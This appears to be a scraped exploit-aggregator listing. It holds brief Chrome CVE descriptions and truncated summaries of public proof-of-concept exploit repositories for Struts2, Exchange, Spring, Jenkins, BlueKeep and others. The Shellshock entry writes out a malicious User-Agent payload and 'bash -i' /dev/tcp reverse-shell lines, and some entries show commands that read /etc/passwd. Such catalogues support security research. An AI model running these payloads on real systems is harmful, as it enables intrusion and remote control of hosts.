CVE-2026-84326

Uninitialized resource in V8 in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84352

Use after free in WebGL in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

CVE-2026-84352

Use after free in WebGL in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

struts2-rce

CVE-2017-5638 漏洞利用演示 完全基于 https://github.com/piesecurity/apache-struts2-CVE-2017-5638 一个真实场景：将某个框架的参考项目部署到容器中，却引发了严重后果。请查看代码并编译以熟悉它。同时检查 Dockerfile——是否有任何特定内容引起了我们的注意？ 展示了日常决策和多个漏洞如何轻易地被串联利用。 使用方法： 前提条件： 1. 已安装 JDK， 2. 已安装 Docker，Docker Desktop for Mac 或 Win 3. 最好已安装 Python（可用 Jython 替代） 准备步骤： 1...

Shell-Shock

Shell Shock 作者 : [email protected] 维护者 : 部门 : DevOps 许可证 : 概述 Shell Shock : 特权提升，远程代码执行 Unix Bash Shell 中的一系列漏洞。允许执行任意命令。 利用向量 有效载荷 shellshock 用户代理 = User-Agent: :; ; rshell 载荷 = bash -i & /dev/tcp/127.0.0.1 rshell 重定向到监听器 = bash -i & /dev/tcp/$YOURIP:$PORT 技巧 设计 : 目的 : 内容 : 服务器 : 应用 : 数据库 :...

weblogic2021

Este proyecto está destinado únicamente a la investigación de seguridad y a su uso bajo autorización; sus usuarios tienen la responsabilidad y la obligación de cumplir con las leyes y regulaciones locales. weblogic2021 CVE-2021-1994, CVE-2021-2047, CVE-2021-2064, CVE-2021-2108, CVE-2021-2075,...

CVE-2025-1094-Exploit

CVE-2025-1094：通过WebSocket实现从SQL注入到远程代码执行 🚀 本仓库包含针对 CVE-2025-1094 的概念验证（PoC）利用程序，该漏洞存在于 PostgreSQL 中，允许通过 WebSocket 劫持将 SQL 注入（SQLi）攻击升级为远程代码执行（RCE）。 概述 此漏洞利用利用 PostgreSQL 中的 SQL 注入漏洞，注入恶意代码来读取敏感文件（例如 /etc/passwd），并将其存储在易受攻击的服务器上。然后，漏洞利用劫持一个活跃的 WebSocket 连接以执行任意命令，最终在被攻陷的服务器上获取远程 shell。 漏洞详情 CVE 编...

CVE-2022-41082

CVE-2022-41082 此仓库包含一个概念验证（PoC）工具，用于利用 Microsoft Exchange 服务器中的 OWASSRF 漏洞（CVE-2022-41082）。该漏洞利用允许攻击者在服务器上执行任意命令，可能危及系统安全。 概述 该工具利用 OWASSRF 漏洞绕过身份验证，并在 Exchange 服务器上获得远程代码执行（RCE）能力。通过利用此漏洞，攻击者可以像已认证用户一样执行命令，从而导致严重的安全后果。 工作原理 1. 身份验证绕过 ：该工具连接到目标 Exchange 服务器，利用精心构造的请求绕过身份验证机制。 2. 远程代码执行...

Spring4Shell-CVE-2022-22965

Spring4Shell: CVE-2022-22965 RCE Java Spring 框架 RCE 漏洞 这些漏洞影响的是框架的核心组件 "Spring Core" — 即框架的心脏。 漏洞当前可利用的条件：- JDK 9+ 易受攻击的 Spring Framework 版本（5.2 | 5.2.0-19 | 5.3.0-17） 使用 Apache Tomcat 作为 Spring 应用的服务器，并以 WAR 包形式部署 依赖 Spring Framework 的 spring-webmvc 和/或 spring-webflux 组件 漏洞利用 root@kitploit:...

CVE-2024-25600

CVE-2024-25600 漏洞利用 - WordPress Bricks Builder 远程代码执行（RCE） 针对 CVE-2024-25600 的漏洞利用脚本，该漏洞是 WordPress 的 Bricks Builder 插件 中存在的一个严重 未认证远程代码执行（RCE） 漏洞。该工具能够检测漏洞、提取 nonce，并在易受攻击的目标上提供用于执行任意命令的 交互式 shell 。已在 Bricks Builder 1.9.5 版本 上测试，影响所有版本直至并包括 1.9.6 。该 安全漏洞 允许攻击者在无需认证的情况下远程注入并执行 恶意 PHP 代码 ，可能导致...

CVE-2023-50164-POC

这是 CVE-2023-50164 的概念验证（PoC），它描述了一种新的路径遍历漏洞，可能导致 struts-core 中的远程代码执行（RCE）。 要修复该问题，建议您升级到 Struts 2.5.33 或 Struts 6.3.0.2 及更高版本。 此仓库基于 Henrik Plate 的出色工作（见此处）构建。 运行 PoC 该项目中有两个 Maven 配置文件：vuln 和 no-vuln。默认配置文件为 vuln。 要包含 RCE 漏洞运行，请执行以下命令： root@kitploit: mvn clean jetty:run -P vuln 要不包含 RCE...

CVE-2018-16370

CVE-2018-16370 在 PESCMS Team 2.2.1 中，攻击者可以通过将 .php 文件放置在 ZIP 压缩包中，通过 /Public/?g=Team&m=Setting&a=upgrade 上传并执行任意 PHP 代码。更多详情请见 https://github.com/lazyphp/PESCMS-TEAM/issues/2...

CVE-2019-7238

CVE-2019-7238 RCE python3 CVE-2019-7238.py url...

CVE-2019-0708-POC

CVE-2019-0708-POC 为 CVE-2019-0708 工作的概念验证，生成远程 shell。 使用 python3 运行， 示例 python3 CVE-2019-0708-windows.py 需要为 linux 和 Windows 准备不同版本。 出于明显原因进行了混淆。...

CVE-2021-21978

CVE-2021-21978 带回显版本的漏洞利用脚本，更简单的方式 0. 漏洞信息 VMware View Planner Web管理界面存在一个上传日志功能文件的入口，没有进行认证且写入的日志文件路径用户可控，通过覆盖上传日志功能文件loguploadwsgi.py，即可实现RCE 漏洞代码： root@kitploit: def applicationenviron, startresponse: logger.debug"application called" if environ'REQUESTMETHOD' == 'POST': post = cgi.FieldStorage...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE 任意文件读取 CVE-2024-23897 使用方法: python poc.py http://127.0.0.1:8888/ /etc/passwd 更新: 更新至 Jenkins 2.442, LTS 2.426.3 修复: 如果你无法更新到最新版本，请禁用对CLI的访问，这将完全消除被利用的可能性。...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ 和 OpenWire 1 Apache ActiveMQ 与 OpenWire 概述 ActiveMQ 是一个开源的消息传递和集成模式服务器，它包含支持 JMS 的代理（Broker），不仅可以在 Java 环境中使用，还能够实现使用多种语言的系统之间的通信。此外，通过集群功能、数据库以及文件系统，它维护了各系统之间的一致性和持久性。 OpenWire 是 Apache ActiveMQ 使用的一种二进制消息协议。它专为代理（ActiveMQ）与客户端之间的高效数据传输而设计。 CVE-2023-46604 是...

CVE-2021-21985_PoC

漏洞详情 VMWARE VCENTER SERVER 虚拟SAN健康检查插件远程代码执行 CVE-2021-21985 vSphere Client HTML5 包含一个 vCenter Server 插件中的远程代码执行漏洞。具有端口 443 网络访问权限的恶意攻击者可能利用此问题，在托管 vCenter Server 的底层操作系统上以不受限制的权限执行命令。此漏洞影响 VMware vCenter Server 7.x 版本低于 7.0 U2b、6.7 版本低于 6.7 U3n 以及 6.5 版本低于 6.5 U3p 和 VMware Cloud Foundation 4.x 版本...

CVE-2021-41773

CVE-2021-41773 Usage root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py 什么是CVE-2021-41773？ CVE-2021-41773 Apache HTTP Server 2.4.49 的目录遍历漏洞。当未设置 Require all denied 时发生。...

cve_2011_3556

CVE-2011-3556 — 概念验证 PoC 免责声明 此工具是现有Metasploit框架中由mihi开发的概念验证 PoC的Python 3实现。 先决条件 使用此模块只需按照以下说明操作： root@kitploit: 将该仓库克隆到本地。 $ git clone https://github.com/sk4la/cve20113556.git && cd cve20113556/ 可选地设置x位以能够直接执行脚本。 $ chmod u+x exploit.py $ ./exploit.py --help && echo "It works!" 用法 命令行...